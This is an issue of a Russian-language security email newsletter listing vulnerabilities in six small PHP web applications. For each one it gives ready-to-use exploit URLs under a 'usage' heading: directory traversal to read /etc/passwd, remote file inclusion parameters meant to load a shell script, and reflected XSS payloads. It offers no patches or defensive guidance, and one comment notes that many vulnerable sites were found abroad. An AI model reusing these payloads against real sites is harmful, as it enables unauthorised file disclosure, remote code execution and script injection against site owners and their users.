Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

Компьютер для продвинутых пользоватлей Выпус по безопасности. Уязвимости в enomphp, Telaen, LoudMouth,


Компьютер для продвинутых пользователей
В этом выпуске:
enomphp | Telaen | LoudMouth | BirdBlog | Wabbit PHP Gallery | mAlbum
ПО: enomphp
Версия: 4.0

Использование:
Www.Site.coM/[путь]/config.php?dir=../../../../../../../etc/passwd
Www.Site.coM/[путь]/ranklv_inside.php?dir=../../../../../../../etc/passwd
Www.Site.coM/[путь]/rankml_inside.php?dir=../../../../../../../etc/passwd
www.Site.com/[путь]/admin/Restore/config.php?dir=../../../../../../../etc/passwd

Комментарий::
Нигде не смог найти данный продукт.


ПО: Telaen
Версия: 1.1.0

Использование:
Www.Site.coM/[path]/smarty/Smarty_Compiler.class.php?plugin_file=[shell_script]
Комментарий::
Данную уязвимость проверить не смог.

ПО: LoudMouth
Версия: 2.4

Испольование:
Www.Site.coM/[path]/admin.loudmouth.php?mainframe=[Sh3ll-Script]
Www.Site.coM/[path]/toolbar.loudmouth.php?mainframe=[Sh3ll-Script]
Комментарий::
Нигде не смог найти данный продукт.


ПО: BirdBlog
Версия: 1.4.0

Использование:
Www.Site.coM/[path]/admin/admincore.php?msg="><script>alert('Xmors')</script><
Www.Site.coM/[path]/admin/comments.php?month="><script>alert('Xmors')</script><
Www.Site.coM/[path]/admin/entries.php?month="><script>alert('Xmors')</script><
Www.Site.coM/[path]/admin/logs.php?page="><script>alert('Xmors')</script><
Комментарий::
Данный проудкт в Рунете не распростронён. Но у буржуев нашёл множество сайтов с данной уязвимостью.


ПО: Wabbit PHP Gallery
Версия: 0.9
Сайт: http://wabbit.arnoldcistai.net/

Использование:
Www.Site.coM/index.php?dir=../../../../../../../etc/passwd
Комментарий::
Нигде не смог найти данный продукт.


ПО: mAlbum
Версия: 0.3
Сайт: http://satz.free.fr/

Использование:
http://localhost/malbum/index.php?gal=../../../
Комментарий::
Демо-версия продукта есть на странице разработчика, больше нигде программа не распростронена.

Не забудьте проголосовать за выпуск!
Рассылка создана и ведется при поддержке Информационной сети Пермского края.
Меня можно найти: ICQ - 273214003

e-mail - isdmi1::mail.ru

В избранное